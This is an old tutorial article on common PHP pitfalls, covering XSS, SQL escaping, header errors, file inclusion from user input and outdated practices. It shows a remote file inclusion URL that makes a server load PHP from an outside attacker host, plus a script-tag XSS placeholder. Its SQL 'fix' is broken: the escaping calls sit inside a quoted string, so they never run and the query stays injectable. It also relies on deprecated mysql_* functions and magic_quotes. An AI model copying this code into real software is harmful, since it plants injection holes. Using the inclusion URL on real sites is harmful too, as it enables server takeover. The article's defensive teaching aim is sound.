Common Pitfalls For PHP Coders - Online Article

As most of us would be familiar, PHP is a computer programming language originally designed for producing dynamic web pages. The name PHP is a recursive initialism for PHP: Hypertext Preprocessor. PHP is used mainly in server-side scripting, but can be used from a command line interface or in standalone graphical applications. Textual User Interfaces can also be created using ncurses.

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. PHP generally runs on a web server, taking PHP code as its input and creating Web pages as output. However, it can also be used for command-line scripting and client-side GUI applications. PHP can be deployed on most web servers and on almost every operating system and platform free of charge. The PHP Group also provides the complete source code for users to build, customize and extend for their own use.

And as in every language, there are some common mistakes, some pitfalls that one should avoid. Here, I have compiled a list of such instances which are to be prevented.

Not escaping entities

It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.

echo $_GET['username'];

Can for instance output:

<script>/*a cookie finding attack or changing admin password script*/</script>

It is an apparent security risk not to sanitize untrusted data before output. Besides one might end up with pages looking very messy if you do not thread user input the right way.

How to fix it?

Basically you need to convert < , >, ' and " to their proper entities (&lt; , &gt; &#039; , and &quot;) . The functions htmlspecialchars() and htmlentities() do the work.

So here is the right way

echo htmlspecialchars($_GET['username'], ENT_QUOTES);

Uncountable scripts carry this problem.

Not Escaping SQL input

When querying your database all ways make sure untrusted data gets escaped else your application will be vulnerable to SQL-injections and unreliable, some coders think that they have covered their asses by having magic_quotes on in their php.ini. The problem is that untrusted input can come from other sources than $_GET, $_POST and $_COOKIE (crawling other websites or using input from the database). And what happens if magic_quotes suddenly is set to OFF?

How to fix it?

I recommend setting magic_quotes to off in php.ini or by using .htaccess and then using mysql_real_escape_string() on all variables used in SQL-expressions.

<?php
	$sql = "UPDATE users SET
	name='.mysql_real_escape_string($name).'
	WHERE id='.mysql_real_escape_string ($id).'";
	mysql_query($sql);
?> 

In PHP5 combined with mysql5 you can also use bindings. If you leave magic_quotes On you will just have to trust your instinct.

Wrong use of HTTP-header related functions: header(), session_start(), setcookie()

Have you ever encountered this warning?

"warning: Cannot add header information - headers already sent [....]

Most likely you have either during development or when deploying PHP applications. When your browser downloads a web page the data response from the server is structured in two different parts: The header part and the content part.

The header consist of not visible data such as cookies to be set or if the browser should redirect to another location. The header always comes first. The content part consists of the visible content HTML, image data and so on.

If output_buffering is set to Off in php.ini your. When the script outputs during execution all header related functions (setcookie(), header(), session_start()) must be called before any output. The problem is when somebody develops on one platform configuration and deploys to another platform configuration, then redirects stops working, cookies and sessions are not being stored...

How to fix it?

The right way is actually very simple make your script call all header related functions before you start any output and set output_buffering = Off in php.ini (at your development platform). If this is a problem on existing scripts you can all ways hack about with the output control functions.

Requiring and including files using untrusted data

Again and again do not trust data you do not declare implicitly: Including and requiring files from but not limited to $_GET, $_POST and $_COOKIE is a stupid and mortal path, you want to control which exacts code your server executes.

Example:

index.php
<?
	//including header, config, database connection, etc
	include($_GET['filename']);
	//including footer
?> 

Any hacker can now request following URL:

http://www.yourdomain.com/index.php?filename=anyfile.txt

By doing so the hacker can extract confidential information and execute PHP scripts stored on the server. Now if allow_url_fopen is set to On in your PHP.ini you will be doomed.

Try this one out

http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

Then your script include and parse any code which the web page on http://www.youaredoomed.com/phphack.php outputs. Doing so he can for instance send spam mails, change passwords, delete files.... I have a very limited imagination.

How to fix it?

You have to control which files the script is allowed to include and which it is not allowed to include.

Note: This is only a quick fix:

<?
	//Include only files that are allowed.
	$allowedFiles = array('file1.txt','file2.txt','file3.txt');
	if(in_array((string)$_GET['filename'],$allowedFiles))
	{
		include($_GET['filename']);
	}
	else
	{
		exit('not allowed');
	}
?>

Double escaping quotes

Have you ever seen a web page display a text with \' or \" , it usually happens when a script is made for magic_quotes of (php.ini) and is deployed on a site with magic_quotes on. First PHP runs addslashes() on all GET, POST and COOKIE data then afterwards one more time when the data is being stored.

Original text:

It's a string

After magic quotes on script start:

It\'s a string

On query storage:

It\\'s a string

HTML output:

It\'s a string

Another scenario that makes this occur is when a user tries to sign up and inputs invalid data, the user then get presented to the same form, this time with the input escaped, the second time the user posts with the valid data the input is escaped another time.

This stuff still happens way too much however mostly new and inexperienced people encounter this.

No or little use of Object Orientation

Too many systems I have seen and been working with have this problem. They simply do not have any object orientation. Yes object and classes for a beginner are abstract but if for instance you build a shop system and you are not being object orientated, then the source code will become unmaintainable with time and size. PHP has been supporting basic object orientation since PHP4 and since PHP5 a lot more and a lot better, so get your ass on to using it.

Not using a framework

95% of all development with PHP is about developing the same four things: Create, edit, list and delete. To do all this in pure PHP without using a PHP MVC Framework of some kind (let it be home made or open source) is just plain stupid and a waste of YOUR time (of course there are exceptions and you can have good explanation on why you don't use a framework). I talk out of experience and there is so much PHP out there but so little use of frameworks. Get your fingers dirty now.

Not knowing about existing functionality

One of the strong things about PHP is that there's so much functionality available in the PHP core but also in the pure PHP extensions. However time again and again scripts people are inventing the deep plate. I am guilty in doing this, but it is waste of time where you should be saving your time. Even when PHP functionality is out of question you can in a lot of situations save yourself time by using exec() to execute from shell.

Save yourself time searching the manual on www.php.net and Google, keep yourself updated on new features in future releases and by ask the right people when needed.

Using old PHP versions

This problem primarily relates to people developing on PHP4 to put it short you are developing on a deprecating platform and not using the full potential of your knowledge move on, there's a lot of good stuff and functionality in PHP5. And it is really not a big deal to change to PHP5 most applications only need a few moderations or no moderations to cope with the change.

Secondary there is the security risk of running on old and unpatched software it might end up damaging your applications.

According to Damien Seguy (founder of a French PHP) 12% of all PHP servers where running PHP5 by the start of November 2006. So if you are developing PHP you are most likely (88%) still doing it on PHP4, shame on you!

About the Author:

No further information.




Comments

No comment yet. Be the first to post a comment.